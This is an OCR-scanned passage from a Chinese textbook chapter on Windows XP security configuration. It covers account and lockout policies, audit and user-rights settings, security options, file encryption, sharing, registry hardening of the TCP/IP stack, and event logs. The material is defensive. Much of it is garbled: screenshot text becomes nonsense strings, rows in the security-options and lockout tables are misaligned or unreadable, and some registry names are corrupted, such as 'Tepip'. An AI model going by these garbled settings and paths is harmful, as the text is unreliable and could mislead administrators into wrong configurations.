Apple Macintosh, UNIX ,OS/2 等 ,而 这 些 客户 机 可 能 使 用 了 不 同 的 网 络 协议 ,如 TCP/IP 
协议 .IPX/SPX 等 。Windows NT 系列 操作 系统 支持 几乎 所 有 常见 的 网 络 协议 。 

(2) 内 置 Internet 功能 。 随 着 Internet 的 流行 和 TCP/IP 协议 组 的 标准 化 , Windows 
NT 内 置 了 IISCInternet Information Server) ,可 以 使 网 络 管理 员 轻 松 地 配置 WWW All FTP 
等 服务 。 

(3) 支持 NTFS 文件 系统 。Windows 9x 所 使 用 的 文件 系统 是 FAT, 在 NT 中 内 置 同 
时 支持 FAT ANTES 的 磁盘 分 区 格式 。 使 用 NTFS 的 好 处 主要 是 可 以 提高 文件 管理 的 安 
全 性 ,用 户 可 以 对 NTFS 系统 中 的 任何 文件 、 目 录 设置 权限 ,这 样 当 多 用 户 同时 访问 系统 的 
时 候 ,可 以 增加 文件 的 安全 性 。 


12.2 Windows XP 系统 安全 配置 


Windows XP 结合 了 Windows 2000 Professional, Windows 98、Windows Me 的 所 有 特 
性 ,使 用 Windows XP 的 主要 优点 在 于 它 的 稳定 性 、 可 执行 性 和 安全 性 ,易于 使 用 ,支持 远 
程 用 户 ,支持 联网 和 通信 ,并 且 具 有 管理 和 部 署 能 力 以 及 帮助 和 支持 功能 。 下 面 主要 介绍 的 
是 Windows XP 的 安全 管理 .配置 。 


12.2.1 策略 管理 


Windows XP 提供 了 大 量 的 安全 选项 ,这 些 安全 选项 让 用 户 可 以 根据 环境 的 需求 ,配置 
自己 所 需要 的 安全 设置 。 例 如 ,用 户 可 以 选择 让 资源 仅仅 能 被 指定 的 几 台 计算 机 访问 。 又 
如 ,用 户 可 以 为 不 同 的 用 户 设 置 不 同 的 访问 限制 .如 下 属 、 上 级 .亲人 等 。 

策略 用 于 帮助 管理 用 户 账 户 。 账 户 策略 用 于 控制 计算 机 的 登录 环境 ,如 密码 和 登录 的 
限制 ; 本 地 策略 制定 用 户 登录 之 后 可 以 进行 的 操作 ,包括 核 审 、 用 户 权 利和 安全 选项 。 

本 地 策略 可 以 设置 适用 于 计算 机 中 每 个 用 户 的 计算 机 配置 和 用 户 配置 选项 。 组 策略 通 
常 和 活动 目录 一 起 使 用 ,并 作为 Group Policy Objects (GPO. 组 策略 对 象 ) 应 用 。 本 地 组 策 
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略 对 于 不 在 网 络 中 的 计算 机 或 者 在 没有 域 控制 器 的 网 络 中 的 计算 机 来 说 ,非常 有 用 。 
1. 账户 策略 


账户 策略 用 于 指定 与 登录 过 程 中 有 关 的 用 户 账户 属性 ,它们 允许 用 户 为 密码 和 账户 锁 
定 规范 配置 计算 机 安全 设置 。 

一 般 来 说 ,如 果 没 有 安全 问题 ,如 在 自己 家 中 使 用 Windows XP 操作 系统 的 计算 机 , 则 
不 必 考 虑 账户 策略 。 但 是 在 其 他 情况 下 ,安全 是 很 重要 的 ,如 计算 机 提供 工资 信息 , 则 应 该 
设立 非常 严格 的 账户 策略 。 

要 实现 账户 策略 ,首先 要 加 载 管理 单元 。 在 桌面 上 创建 一 个 MMC, 具 体 的 操作 步骤 
如 下 。 

D 执行 “开始 ”运行 ”命令 ,在 打开 的 “运行 ?对话 框 中 输入 *MMC”, 在 弹出 的 窗口 中 
选择 “文件 ”一 “添加 /删除 管理 单元 ”选项 ,再 在 打开 的 “添加 /删除 管理 单元 "对话 框 中 单 击 
“添加 ”按钮 ,然后 在 弹出 的 “添加 独立 管理 单元 ”对 话 框 中 选择 “安全 模板 "选项 ,最 后 依次 单 
击 “ 添 加 ”“ 关 闭 ”“ 确 定 ” 按 钮 ,如 图 12-1 所 示 。 


RG) REQ 查看 KEO BOW hav 
+ > me | @ eer 


m 控制 台 根 节点 fez rel 
A SAULT REMERON AT. 
添加 独立 管理 单元 


可 用 的 独立 管理 单元 - 
管理 单元 
Active 控件 Microsoft Corpora, 
Sv ERRES Microsoft Corpora, 
Sr 安全 监视 器 Microsoft Corpora 
Oracle Primary MIC Snap-In Oracle Corp. 
Web 地 址 的 链接 Microsoft Corpora, 
WHI 控件 Microsoft Corpora. 
Microsoft Corpora . 
安全 配置 和 分 析 Microsoft Corpora, 
本 地 用 户 和 姐 Microsoft Corpora. 


geeenkm [memen 


Poy meee ete er me 管理 单元 。 


CE Cao 


图 12-1 创建 安全 模板 


© 选择 “文件 ”>“ 保 存 ” 选 项 ,在 弹出 的 对 话 框 中 输入 文件 名 为 Admin Console, 默 认 扩 
展 名 为 . msc, 并 设置 保存 位 置 为 “桌面”, 单 击 “ 保 存 ” 按钮 。 这 样 , 当 需 要 再 次 访问 时 ,只 要 
打开 桌面 上 的 Admin Console. msc 文件 就 可 以 了 。 

1) 密码 策略 

密码 策略 的 设置 ,如 图 12-2 所 示 。 密 码 策略 保证 安全 要 求 在 计算 机 上 被 强制 执行 。 需 
要 注意 的 是 : 密码 策略 是 在 各 个 计算 机 上 设置 ,而 不 能 针对 特定 的 用 户 配置 。 在 表 12-1 
中 ,详细 介绍 了 密码 策略 的 各 个 选项 。 
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in 控制 台 1 -— [控制 台 根 节点 \ 安 全 神 板 \C: \WINDOWS\security\templat..- 
Dro Rea SEV KERO SOW 帮助 
e+ Amx e gem 
A 控制 台 根 节点 a 
ap 安全 模板 | 
GB Cc: WINDOWS\security\t 
日 蕊 conpatrs 


项 为 城中 所 有 用 户 使 用 可 还 原 的 加 密 来 储 .. ， 没有 定义 


图 12-2 密码 策略 设置 


表 12-1 密码 策略 的 各 个 选项 说 明 


策略 说 明 默认 值 最 小 值 最 大 值 
强制 密码 历史 保存 用 户 历史 轨迹 记 住 0 个 密码 记 住 0 个 密码 记 住 24 个 密码 
密码 最 长 存留 期 ”确定 用 户 保存 有 效 ”保存 42 天 保存 1 天 保存 999 天 

密码 的 最 大 天 数 
密码 长 度 最 小 值 。 指定 密码 包含 的 最 0 个 字符 (不 需要 0 个 字符 14 个 字符 
少 字 符 数 密码 ) 
密码 最 短 存留 期 ”指定 密码 要 保存 多 0 天 0 天 999 天 
长 时 间 后 才能 改变 
2) 账户 锁定 策略 


账户 锁定 策略 的 设置 ,如 图 12-3 所 示 。 上 账户 锁定 策略 用 于 指定 容忍 多 少 次 无 效 的 登录 
企图 。 账 户 锁定 策略 配置 成 在 分钟 内 进行 m 次 失败 登录 时 ,账户 将 被 锁定 指定 的 时 间或 
者 直到 管理 员 解 开 账 户 的 锁定 为 止 。 在 表 12-2 中 ,详细 介绍 了 账户 锁定 策略 的 各 个 选项 。 


表 12-2 账户 锁定 策略 的 各 个 选项 说 明 


策略 说 明 默认 值 最 小 值 最 大 值 建议 
账户 锁定 时 间 ”指定 到 达 值 时 锁定 0 分钟 ( 如 果 启 用 账 999999 分 钟 ”5 分钟 
账户 的 时 间 长 度 户 锁定 阔 值 则 为 30 FRUE 
分 钟 ) 
账户 锁定 阔 值 ”指定 锁定 账户 之 前 0 次 (禁用 则 账户 将 ” 同 默 认 值 999 5 次 
允许 的 无 效 次 数 不 锁定 ) 
àù 0 ( FZR 999999 5 
aE O BERNABE kagammas AR 3AN 
败 次 数 的 时 间 


分 钟 ) 
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2. 本 地 策略 


图 12-3 账户 锁定 策略 设置 


本 地 策略 用 于 控制 登录 过 程 ,要 控制 用 户 登录 之 后 的 操作 ,需要 使 用 本 地 策略 。 利 用 本 
地 策略 可 以 实现 审核 ,指定 用 户 权 利和 设置 安全 选项 。 本 地 策略 有 3 个 子 文件 夹 : 审核 策 
略 . 用 户 权利 策略 .安全 选项 策略 。 


1) 审核 策略 


通过 使 用 审核 策略 ,可 以 观察 用 户 在 干什么 ,可 以 审查 与 用 户 管理 有 关 的 事件 ,通过 跟 
踪 特 定 事件 ,可 以 创建 特定 任务 的 历史 ,如 用 户 的 创建 以 及 登录 的 成 功 与 失败 ,还 可 以 标识 
无 权 访 问 的 用 户 访问 系统 管理 任务 时 造成 的 安全 破坏 。 

定义 审核 策略 时 ,可 以 选择 审核 特定 事件 的 成 功 或 失败 ,事件 成 功 表示 任务 顺利 完成 ， 
任务 失败 表示 任务 没有 顺利 完成 。 默 认 情 况 下 ,审核 并 不 启用 ,需要 手动 配置 ,配置 审核 后 ,可 以 
通过 Event Viewer 工具 的 Security 日 志 查 看 审核 的 结果 。 审 核 策略 的 各 项 说 明 如 表 12-3 所 示 。 


表 12-3 ”审核 策略 各 项 说 明 


RO 说 è 
审核 账户 登录 事件 ”观察 用 户 何 时 登录 、 注 销 和 建立 网 络 连接 
审核 账户 管理 跟踪 用 户 和 组 账号 的 创建 .删除 和 管理 活动 
审核 目录 服务 访问 跟踪 目录 服务 访问 
审核 登录 事件 审核 与 登录 有 关 的 事件 ,如 运行 登录 脚本 或 访问 漫游 配置 文件 
审核 对 象 访问 启用 对 文件 ,文件 夹 .打印 机 访问 的 审核 
审核 策略 更 改 跟踪 审核 策略 的 任何 改变 
审核 特权 使 用 跟踪 能 够 或 不 能 够 定义 审核 的 人 员 ,或 者 能 够 或 不 能 够 显示 审核 结果 的 人 员 
变化 
审核 过 程 追踪 跟踪 事件 ,如 激活 程序 访问 对 象 . 退 出 程序 等 
审核 系统 事件 跟踪 系统 事件 (如 计算 机 关闭 或 重新 启动 等 ) 以 及 与 Event Viewer 中 的 Security 


日 志 有 关 的 事件 


第 12 章 操作 系统 安全 技术 335 


2) 用 户 权利 策略 


用 户 权 利 策略 (User Right Policies) 确 定 用 户 和 组 对 计算 机 的 权利 。 用 户 权利 被 应 用 
到 系统 ,它们 不 同 于 权限 ,权限 应 用 于 特定 对 象 。 

用 户 权 利 的 一 个 例子 是 备份 文件 和 目录 (Back Up Files and Directories) 权 利 。 即 使 用 
户 没有 该 文件 系统 的 权限 ,这 个 权利 也 能 够 使 用 备份 文件 和 文件 夹 。 其 他 用 户 权 利 也 类 似 ， 
因为 它们 处 理 的 是 系统 访问 而 不 是 资源 访问 。 表 12-4 是 部 分 用 户 权利 策略 的 选项 说 明 。 


表 12-4 部 分 用 户 权 利 策略 的 选项 说 明 


权 利 说 明 

从 网 络 访问 此 计算 机 确定 允许 哪些 用 户 和 组 可 通过 网 络 连 接 到 计算 机 

以 操作 系统 方式 操作 允许 低级 身份 验证 服务 ,以 验证 用 户 

域 中 添加 工作 站 确定 哪些 组 和 用 户 可 域 中 添加 工作 站 

调整 进程 的 内 存 配额 允许 用 户 配置 特定 进程 可 以 使 用 的 内 存 

通过 终端 服务 允许 登录 确定 哪些 用 户 或 组 有 权 作 为 终端 服务 客户 登录 

备份 文件 和 目录 允许 用 户 备份 所 有 文件 和 目录 ,不 管 文件 和 目录 的 权限 设置 如 何 

跳 过 遍历 检查 允许 用 户 通过 和 遍历 目录 结构 ,即使 用 户 没 有 权限 列 出 目录 内 容 

更 改 系 统 时 间 允许 用 户 改变 计算 机 内 部 时 间 

创建 页 面 文件 允许 用 户 创建 或 更 改 页 面 文件 长 度 

创建 令 牌 对 象 允许 使 用 NtCreate Token API 的 进程 创建 令 牌 

创建 永久 共享 对 象 允许 进程 通过 Windows XP Object Management 创建 目录 对 象 

调试 程序 允许 用 户 将 调试 程序 连接 到 任何 进程 

拒绝 从 网 络 访问 这 台 计 算 机 允许 拒绝 特定 用 户 或 组 从 网 络 上 访问 这 台 计 算 机 

拒绝 作为 批 作业 登录 允许 特定 用 户 或 组 作为 批 处 理 文件 登录 

拒绝 作为 服务 登录 允许 拒绝 特定 用 户 或 组 作为 服务 登录 

拒绝 本 地 登录 允许 拒绝 特定 用 户 或 组 本 地 访问 这 台 计 算 机 

通过 终端 服务 拒绝 登录 指定 用 户 不 能 通过 Terminal Services 登录 

允许 计算 机 和 用 户 账户 被 信任 ”允许 用 户 或 组 对 用 户 或 计算 机 对 象 设置 受信 任 以 便 委派 (Trusted 

以 便 用 于 委任 for Delegation) 设 置 

从 远 端 系统 强制 关机 允许 用 户 在 网 络 上 的 远程 位 置 关闭 系统 

产生 安全 审核 允许 用 户 ,组 或 进程 在 Security 日 志 中 建立 项 目 

增加 进度 优先 级 指定 一 个 进程 可 以 增加 或 减少 另 一 个 进程 的 优先 级 

装载 和 印 载 设备 驱动 程序 允许 用 户 动态 加 载 或 印 载 即 插 即 用 设备 驱动 程序 

内 存 中 锁定 页 系统 中 不 再 使 用 (原先 用 于 强迫 数据 保存 在 物理 内 存 中 ,不 让 数据 分 
页 岛 页 文件 中 ) 

管理 审核 和 安全 日 志 允许 用 户 管理 Security 日 志 

修改 固件 环境 值 允许 用 户 或 进程 修改 系统 环境 变量 

执行 卷 维护 任 务 允许 用 户 指定 容量 维护 任务 ,如 运行 Disk Cleanup 和 
Dish Defragmenter 

配置 单一 进程 允许 用 户 使 用 Performance Logs and Alerts 之 类 的 工具 监视 系统 
进程 

从 插 接 工作 站 中 取出 计算 机 允许 用 户 通过 Windows XP 用 户 界 面 将 便携 式 计算 机 从 插 接 工作 站 
脱离 

车 换 进程 级 记号 允许 进程 将 子 进程 创建 的 默认 令 牌 蔡 换 成 进程 指定 的 令 牌 

还 原文 件 和 目录 允许 用 户 恢 复 文件 和 目录 ,不 管 文件 和 目录 的 权限 是 什么 

关闭 系统 允许 用 户 关 闭 本 地 Windows XP 计算 机 

同步 目录 服务 数据 允许 用 户 同步 与 目录 服务 相关 联 的 数据 

取得 文件 或 其 他 对 象 的 所 有 权 允许 用 户 取 得 系统 对 象 的 所 有 权 
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3) 安全 选项 策略 


安全 选项 策略 (Security Options Policies) 用 户 对 计算 机 配置 安全 措施 ,与 用 户 权利 策 
略 不 同 的 是 用 户 权利 应 用 于 用 户 或 组 ,而 安全 选项 策略 应 用 于 计算 机 。 表 12-5 是 部 分 安全 


选项 策略 的 选项 说 明 。 
表 12-5 ”部 分 安全 选项 策略 的 选项 说 阴 
选 项 说 明 默认 值 
账户 : 管理 员 账 户 状态 指 在 正常 操作 下 Administrator 账户 是 启用 已 启用 
还 是 禁用 ,不 管 设置 如 何 , 当 在 安全 模式 下 
启动 时 ,Administrator 账户 将 被 启用 
账户 : 来 宾 账 户 状态 决定 Guest 账户 是 否 被 启用 已 禁用 
账户 : 使 用 空白 密码 的 本 地 账户 只 允许 ”如果 一 个 用 户 的 密码 是 空 的 ,并 且 这 个 选项 已 启用 
进行 控制 台 登 录 被 启用 ,用 户 将 无 法 适用 空 的 密码 从 网 络 登 
录 , 这 个 设置 并 不 应 用 到 域 登录 账户 
账户 : 重 命名 系统 管理 员 账 户 允许 Administrator 账户 被 重 命名 没有 定义 
账户 : 重 命 名 系统 管理 员 账 户 允许 Guest 账户 被 重 命名 没有 定义 
KP: 重 命名 来 宾 账 户 允许 对 全 局 系统 对 象 的 访问 进行 审核 已 禁用 
Hit: 如 果 无 法 记录 安全 审计 则 立即 关 ”如 果 无 法 登录 安全 审核 ,指定 系统 立即 关闭 《已 禁用 
闭 系统 
设备 ; 允许 格式 化 和 弹出 可 移动 媒体 指定 谁 能 够 格式 化 和 退出 可 移动 NTFS Administrators 
媒介 
设备 : 只 有 本 地 登录 的 用 户 才能 访问 ”指定 本 地 用 户 和 网 络 用 户 是 否 能 够 访问 CD- 已 禁用 
CD-ROM ROM ii 
设备 : 只 有 本 地 登录 的 用 户 才能 访问 ”指定 本 地 用 户 和 网 络 用 户 是 否 可 以 访问 ”已 禁用 
软盘 软盘 
域 控制 器 : 拒绝 更 改 机 器 账户 密码 指定 域 控制 器 是 否 接受 计算 机 账户 密码 的 ”已 禁用 
更 改 
ae 不 允许 SAM 账户 和 共享 的 ”指定 匿名 用 户 可 以 访问 哪些 网 络 共享 没有 定义 
网 络 安全 : 不 要 在 下 次 更 改 密码 时 不 存 ”指定 LAN 管理 器 是 否 从 密码 更 改 中 存储 散 ”已 禁用 
储 LAN Manager 的 Hash 值 列 值 
网 络 安全 : 在 超过 登录 时 间 后 强制 注销 ”指定 当前 连接 的 用 户 登录 时 间 超 时 后 ,是 否 ”已 启用 
强制 注销 


关机 : 允许 在 未 登录 前 关机 


12.2.2 文件 的 安全 
1. 加 密 文件 与 文件 夹 


允许 用 户 无 须 登 录 即 可 关闭 系统 ,在 工作 站 
上 启用 ,在 服务 器 上 禁用 


加 密 文件 与 文件 夹 可 以 使 未 经 授权 的 用 户 无 法 读 取 该 文件 与 文件 夹 。 在 Windows XP 
中 加 密 文件 或 文件 夹 的 方法 是 : 打开 “Windows 资源 管理 器 "窗口 ,右键 单 击 想 要 加 密 的 文 
件 或 文件 夹 ,选择 “属性 ”选项 , 单 击 “ 常 规 ” 选 项 卡 中 的 “高 级 "按钮 ,在 弹出 的 “高 级 属性 ”对 
话 框 中 选中 “加 密 内 容 以 便 保护 数据 ” 复 选 框 即 可 (这 种 操作 仅 适 用 于 NTFS 文件 系统 ) ,如 
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图 12-4 所 示 。 


Ee 请 选择 用 于 该 文件 夹 的 设置 
LE Ce _ AoA CATLEAAMART 


存档 和 编制 素 引 属性 
可 以 存档 文件 夹 W) 
加 为 了 快速 搜索 ,允许 素 引 服务 编制 该 文件 夹 的 素 引 V 
Rem MSR 

eee eee © 


详细 信息 © 


图 12-4 加密 文件 或 文件 夹 


在 加 密 文件 夹 时 ,系统 将 询问 是 否 要 同时 加 密 文件 夹 内 的 所 有 文件 和 子 文件 夹 ,如果 选 
择 这 么 做 ,那么 文件 夹 内 当前 的 和 将 来 要 添加 的 所 有 文件 或 子 文件 夹 痢 将 被 加 密 ; 如 果 选 
择 仅 加 密 文件 夹 , 则 文件 夹 中 当前 所 的 文件 和 子 文件 夹 将 不 被 加 密 , 但 以 后 任何 被 加 入 该 文 
件 夹 的 文件 和 子 文件 夹 在 加 入 时 均 将 被 加 密 。 对 单个 文件 进行 加 密 时 ,系统 也 将 询问 是 否 
要 同时 加 密 包含 它 的 文件 夹 ,如 果 选 择 这 么 做 , 则 以 后 所 有 被 添加 进 该 文件 夹 中 的 文件 和 子 
文件 夹 都 将 被 自动 加 密 。 

2. 共享 驱动 器 或 文件 夹 的 设置 

使 用 Windows XP 可 以 很 方便 地 将 驱动 器 或 文件 夹 设置 成 “共享 ”而 且 若 不 想 让 这 些 
共享 的 驱动 器 或 文件 夹 被 远程 计算 机 用 户 看 到 的 话 , 只 需 在 共享 驱动 器 或 文件 夹 的 “共享 
名 ”后 面 加 上 一 个 “$ ?就 行 了 ,如 "“C$?。 然 而 , 当 远 程 计算 机 用 户 知 道 了 该 机 的 计算 机 名 
以 及 管理 员 、 服 务 器 操作 员 的 用 户 名 和 密码 后 ,那么 任何 远程 计算 机 用 户 都 能 通过 局 域 网 络 
或 Internet 访问 该 计算 机 ,这 也 使 具有 共享 驱动 器 或 文件 夹 的 计算 机 存在 着 安全 隐患 。 为 
了 保障 共享 驱动 器 或 文件 夹 的 安全 ,建议 禁用 服务 器 服务 。 禁 用 服务 器 服务 后 ,所 有 远程 计 
算 机 都 将 无 法 连接 到 该 计算 机 上 的 任意 驱动 器 或 文件 夹 ,但 本 机 的 管理 员 仍然 能 够 访问 其 
他 计算 机 上 的 共享 文件 夹 。 禁 用 服务 器 服务 的 操作 方法 是 : 依次 进入 “控制 面板 ”>“ 性 能 
和 维护 ”一 "管理 工具 ”, 双 击 * 服 务 ” 图 标 , 在 “服务 ”窗口 中 双击 ”Server ”项 ,可 看 到 如 图 12-5 
所 示 的 “Server 的 属性 ”对 话 框 ,在 “启动 类 型 "列表 中 选择 “已 禁用 ”或 “手动 ”选项 即 可 。 

3. 将 文件 夹 设 为 专用 文件 夹 


在 默认 情况 下 ,Windows XP 中 所 有 的 文件 夹 都 是 开放 的 , 即 该 机 上 的 全 部 用 户 都 可 使 
用 它们 ,这 无 疑 使 用 户 的 重要 个 人 资料 面临 着 严重 的 威胁 。 为 此 ,Windows XP 新 增 了 一 项 
“文件 夹 专用 ”的 功能 , 它 是 指 在 NTFS 文件 系统 中 , 某 个 文件 夹 被 用 户 设置 成 “专用 文件 
夹 ” 后 ,该 文件 夹 就 只 能 由 该 用 户 使 用 .而 其 他 用 户 在 登录 Windows XP 后 是 无 法 使 用 的 ,这 
就 为 保护 个 人 重要 资料 提供 了 方便 。 要 使 某 个 文件 夹 专人 专用 ,只 需 将 该 文件 夹 移 动 到 
“x:\Documents and Settings\ 用 户 名 \” 文 件 夹 中 (x 是 指 Windows XP 安装 文件 所 在 分 
区 ) ,然后 右 击 该 文件 夹 , 在 弹出 的 快捷 菜单 中 选择 “属性 ”选项 ,在 “共享 ”选项 卡 中 选中 “将 
这 个 文件 夹 设 为 个 人 的 ,这 样 只 有 该 用 户 才能 访问 " 复 选 框 。 这 样 , 当 其 他 用 户 登 录 
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; Server 的 属性 (本 地 计算 机 ) 
eA [a3 lms | 依存 关系 | 


服务 名 称 LanmanServer 


显示 名 称 中 : fever 
描述 中) le 
可 执行 文件 的 路径 0 


EE \WINDOWS \systen32\svchost. exe ~k netsves 


局 动 类 型 EE) C ~ 


服务 状态 已 停止 


Bra) 停止 外) HEE 


当 从 此 处 启动 服务 时 ， 您 可 指定 所 适用 的 启动 参数 , 


BORN MRS ORE 


anerw: | 


图 12-5 “Server 的 属性 ”对 话 框 
Windows XP 后 想 进 入 这 个 文件 夹 时 将 遭 到 “拒绝 访问 ”的 警告 提示 。 
12.2.3 注册 表 设 置 


有 关 如 何 编辑 注册 表 的 信息 可 通过 注册 表 编 辑 器 本 身 的 “帮助 工具 得 到 。 例 如 ,用 户 
可 以 使 用 以 下 步骤 来 查看 有 关 向 注册 表 中 添加 一 个 项 的 说 明 。 

D 从 “开始 "菜单 中 ,选择 “运行 ”选项 。 在 “运行 "对话 框 的 文本 框 中 ,输入 “regedt32” 并 
单 击 “ 确 定 ” 按 钮 ,打开 注册 表 编 辑 器 (Regedt32. exe). 

© 从 “帮助 ”菜单 中 ,选择 “目录 ?选项 。 在 注册 表 编 辑 器 的 “帮助 ?工具 的 右 侧 窗 格 中 单 
击 “ 在 注册 表 中 添加 和 删除 信息 ” 超 链接 ,该 窗 格 即 显示 有 关 在 注册 表 中 添加 和 删除 信息 的 
帮助 主题 列表 , 单 击 “ 向 注册 表 中 添加 项 ? 超 链 接 以 获得 详细 说 明 。 

1. 网 络 攻击 的 安全 注意 事项 


为 了 防止 拒绝 服务 DoS) 攻击 ,必须 使 用 最 新 的 安全 修补 程序 及 时 更 新 计算 机 系统 ， 
并 在 曝光 于 潜在 攻击 者 的 Windows XP 计算 机 中 强化 TCP/IP 协议 堆栈 安全 性 。 调 整 默 
认 的 TCP/IP 堆栈 配置 ,使 之 处 理 标准 Intranet 通信 。 如 果 将 计算 机 直接 连接 到 Internet, 
Microsoft 建议 用 户 强 化 TCP/IP 堆栈 的 安全 性 以 防范 DoS 攻击 。 

针对 TCP/IP 堆栈 的 DoS 攻击 可 分 为 两 类 : 一 类 是 滥用 系统 资源 (如 打开 不 计 其 数 的 
TCP 连接 ) , 另 一 类 是 发 送 特制 的 数据 包 使 网 络 堆栈 或 整个 操作 系统 产生 故障 。Dos 攻击 
包括 : 大 量 发 送 数据 使 Web 服务 器 疲 于 处 理 ; 大 量 发 送 数据 包 充 斥 远 程 网 络 ; 路 由 器 和 服 
务 器 由 于 要 路 由 并 处 理 每 个 数据 包 而 超 负 荷 运行 。DoS 攻击 有 时 很 难 抵御 。 为 了 防范 针 
对 TCP/IP 堆栈 的 攻击 ,必须 强化 TCP/IP 协议 ,如 表 12-6 所 示 。 表 12-6 中 的 子 项 注册 表 
值 项 位 于 HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Services \ Tepip \ 
Parameters\ 注册 表 项 中 。 
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表 12-6 FAW TCP/IP 协议 注册 表 子 项 说 明 


子 项 注册 表 值 项 格式 推荐 值 (十 进 制 ) 
EnableICMPRedirect DWORD 0 
SynAttackProtect DWORD 1 
EnableDeadGWDetect DWORD 0 
EnablePMTUDiscovery DWORD 0 
KeepAliveTime DWORD 300000 
DisableIPSourceRouting DWORD 2 
TepMaxConnectResponseRetransmissions DWORD 2 
TcpMaxDataRetransmissions DWORD 3 
PerformRouterDiscovery DWORD 0 
TCPMaxPortsExhausted DWORD 5 


2. 禁止 使 用 Shift 键 自动 登录 

在 Windows XP 中 如 果 启 用 了 自动 登录 功能 ,普通 用 户 就 可 以 按 Shift 键 绕 过 登录 输 
和 用户 名 和 口令 的 程序 ,从 而 造成 非 正 常 登录 。 通 过 设置 注册 表 的 相关 键 值 来 防止 这 种 非 
法 登录 。 进 入 注册 表 编 辑 程序 ,在 HKEY_LOCAL_MACHINE\ Software \ Microsoft \ 
WindowsNT\ CurrentVersion \ Winlogon 中 新 建 串 值 “Ignoreshiftoverride”, 将 值 设置 为 
“1”。 这 样 就 可 以 禁止 别人 利用 Shift 键 自 动 登录 。 

3. 为 注册 表 设 置 管理 权限 

由 于 注册 表 在 很 大 程度 上 决定 着 计算 机 的 运行 环境 .性 能 和 软 硬 件 配 置 , 通 过 修改 注册 
表 , 可 以 实现 许多 在 控制 面板 中 无 法 达到 的 目的 ,因而 如 果 操 作 不 当 , 就 有 可 能 导致 整个 系 
统 的 崩溃 和 数据 丢失 ,所 以 加 强 对 注册 表 的 管理 权限 是 必要 的 管理 措施 之 一 。 

Windows XP 可 以 对 不 同 用 户 设置 不 同 级 别 的 注册 表 访问 权限 ,具体 的 设置 方法 如 下 。 

(1) 进入 注册 表 编 辑 器 , 单 击 “ 编 辑 ” 荣 单 下 的 “权限 ”菜单 ,如 图 12-6 所 示 。 


EMSRS policies 的 权限 


(enw. 
iF 


Administrators 的 权限 Œ) 


完全 控制 
读 取 


if 
特别 的 权限 


特别 权限 或 高 级 设置 ,请 单 击 “ 高 级 ”. Bw 


samara ano | 
图 12-6 设置 不 同 级 别 的 注册 表 访 问 权限 
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(2) 在 出 现 的 “Policies 的 权限 ?对话 框 中 ,可 设置 系统 存在 的 账户 对 注册 表 的 访问 权 
限 , 单 击 图 12-6 中 的 “高 级 ”按钮 ,在 出 现 的 “Policies 的 高 级 安全 设置 ?对 话 框 中 还 可 以 进行 
一 些 具 体 的 访问 权限 设置 ,如 图 12-7 所 示 。 
Policies 的 高 级 去 全 设置 


权限 。 | 审核 | 所 有 者 | 有 效 权限 | 
要 起 查 看 有 关 “ 特 殊 权 限 ”的 详细 信息 ， 语 选择 一 个 权限 项 目 ， 然 后 单 击 “ 编 辑 ”。 


权限 项 目 T) 


Camm...) ED 
口 从 父 项 继承 那些 可 以 应 用 到 子 对 象 的 权限 项 目 ,包括 那些 在 此 明确 定义 的 项 目 CD)。 
口 用 在 此 显示 的 可 以 应 用 到 子 对 象 的 项 目 普 代 所 有 子 对 外 的 权限 项 目 © 


RO 


图 12-7 Policies 的 高 级 安全 设置 


12.2.4 日 志 审核 


1. 事件 查看 器 

在 Windows XP 中 ,事件 是 在 系统 或 程序 中 发 生 的 、 要 求 通知 用 户 的 任何 重要 事情 ,或 
者 是 添加 到 日 志 中 的 项 。 事 件 日 志 服 务 在 事件 查看 器 中 记录 应 用 程序 .安全 和 系统 事件 。 
通过 使 用 事件 查看 器 中 的 事件 日 志 , 用 户 可 以 获取 有 关 硬 件 、 软 件 和 系统 组 件 的 信息 ,并 可 
以 监视 本 地 或 远程 计算 机 上 的 安全 事件 。 事 件 日 志 可 帮助 用 户 确定 和 诊断 当前 系统 问题 的 
根源 ,还 可 以 帮助 用 户 预 测 潜在 的 系统 问题 。 

2. 事件 日 志 类 型 

基于 Windows XP 的 计算 机 将 事件 记录 在 以 下 3 种 日 志 中 。 

(1) 应 用 程序 日 志 。 应 用 程序 日 志 包 含 由 程序 记录 的 事件 。 例 如 ,数据 库 程 序 可 能 在 
应 用 程序 日 志 中 记录 文件 错误 。 写 入 到 应 用 程序 日 志 中 的 事件 是 由 软件 程序 开发 人 员 确 
定 的 。 

(2) 安全 日 志 。 安 全 日 志 记 录 有 效 和 无 效 的 登录 尝试 等 事件 ,以 及 与 资源 使 用 有 关 的 
事件 (如 创建 ,打开 或 删除 文件 )。 例 如 ,在 启用 登录 审核 的 情况 下 ,每 当 用 户 尝试 登录 到 计 
算 机 上 时 ,都 会 在 安全 日 志 中 记录 一 个 事件 。 用 户 必须 以 Administrator 或 Administrators 
组 成 员 的 身份 登录 ,才能 打开 使 用 安全 日 志 以 及 指定 将 哪些 事件 记录 在 安全 日 志 

G) 系统 日 志 。 系 统 日 志 包 含 Windows XP 系统 组 件 所 记录 的 事件 。 例 如 ,如 果 在 启 
动 过 程 中 未 能 加 载 某 个 驱动 程序 , 则 会 在 系统 日 志 中 记录 一 个 事件 。Windows XP 预先 确 
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定 由 系统 组 件 记录 的 事件 。 

3. 查看 事件 日 志 

要 打开 事件 查看 器 ,请 按照 下 列 步骤 操作 。 

(1) 选择 “开始 ”>“ 控 制 面板 ”选项 ,打开 “控制 面板 ”窗口 。 单 击 “ 性 能 和 维护 ”, 再 单 击 
“管理 工具 ”, 然 后 双击 “计算 机 管理 ”, 打 开 “ 计 算 机 管理 ”窗口 。 

(2) 在 控制 台 树 中 , 单 击 “ 事 件 查 看 器 ”。 应 用 程序 日 志 、 安 全 日 志和 系统 日 志 显 示 在 
“事件 查看 器 ”窗口 中 ,如 图 12-8 所 示 。 


C 计算 机 管理 
窗口 帮助 如 


E 计 算 机 管理 (本 地 ) 名 称 
G % 系统 工具 应 用 程序 


事件 查看 器 Internet Explorer 自 定义 日 志文 件 的 钱 误 记录 -- 
图 应 用 程序 Microsoft Office ... 自 定义 日 志文 件 的 错误 记录 
a Ra ; |B Microso£t office 自 定义 日 志文 件 的 请 误 记 录 

ji .| 国安 全 性 安全 审核 记录 


系统 系统 错误 记录 


田 名 服务 和 应 用 程序 
aa HIEI 


图 12-8 查看 事件 日 志 


4. 查看 事件 详细 信息 

选择 “开始 ”一 “控制 面板 ”选项 ,打开 “控制 面板 ”窗口 。 单 击 “ 性 能 和 维护 ”, 青 单 击 “ 管 
